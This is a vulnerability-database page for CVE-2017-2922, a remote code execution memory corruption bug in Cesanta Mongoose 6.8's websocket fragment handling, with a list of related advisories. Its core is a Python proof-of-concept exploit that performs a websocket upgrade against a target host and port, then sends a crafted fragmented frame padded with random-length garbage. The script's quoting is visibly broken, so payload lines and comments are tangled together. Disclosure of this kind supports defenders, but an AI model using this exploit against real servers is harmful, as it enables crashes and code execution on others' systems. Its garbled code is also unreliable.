Lucene search
K

Cesanta Mongoose Websocket Protocol Fragmented Packet Code Execution Vulnerability(CVE-2017-2922)

🗓️ 08 Nov 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 52 Views

Cesanta Mongoose Websocket Protocol Fragmented Packet Code Execution Vulnerability(CVE-2017-2922) - Memory corruption vulnerability in Cesanta Mongoose 6.8 allows for remote code execution via specially crafted websocket packet

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Cesanta Mongoose Remote Code Execution Vulnerability
2 Nov 201700:00
cnvd
CVE
CVE-2017-2922
7 Nov 201716:00
cve
Cvelist
CVE-2017-2922
7 Nov 201716:00
cvelist
Debian CVE
CVE-2017-2922
7 Nov 201716:00
debiancve
EUVD
EUVD-2017-12063
7 Oct 202500:30
euvd
NVD
CVE-2017-2922
7 Nov 201716:29
nvd
OpenVAS
Mongoose Web Server <= 6.8 Multiple Vulnerabilities
7 Jul 202100:00
openvas
OSV
DEBIAN-CVE-2017-2922
7 Nov 201716:29
osv
Prion
Memory corruption
7 Nov 201716:29
prion
RedhatCVE
CVE-2017-2893
20 May 202223:50
redhatcve
Rows per page

                                                import socket
import random
import struct
import sys
http_upgrade = ('GET /chat HTTP/1.1\r\n'
              'Host: server.example.com\r\n'
              'Upgrade: websocket\r\n'
              'Connection: Upgrade\r\n'
              'Sec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==\r\n'
              'Sec-WebSocket-Protocol: chat, superchat\r\n'
              'Sec-WebSocket-Version: 13\r\n'
              'Origin: http://example.com\r\n\r\n')


payload = "\x01" # need to pass two checks:
"""
static int mg_is_ws_fragment(unsigned char flags) {
return (flags & 0x80) == 0 || (flags & 0x0f) == 0;
}


static int mg_is_ws_first_fragment(unsigned char flags) {
return (flags & 0x80) == 0 && (flags & 0x0f) != 0;
}
payload += chr(0x00 | 50 ) # packet doesn't have to be masked, so we can ommit it, size doesn't matter
payload += "A"*(60+ random.randint(0,20000)) # rest of the packet doesn't matter
"""
append random length of garbage so it's a bit easier to trigger the realloc when runing without ASAN ,
valgrind, or libdislocator, otherwise ~60 is enough
"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.send(http_upgrade)
print s.recv(1024)
s.send(payload)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation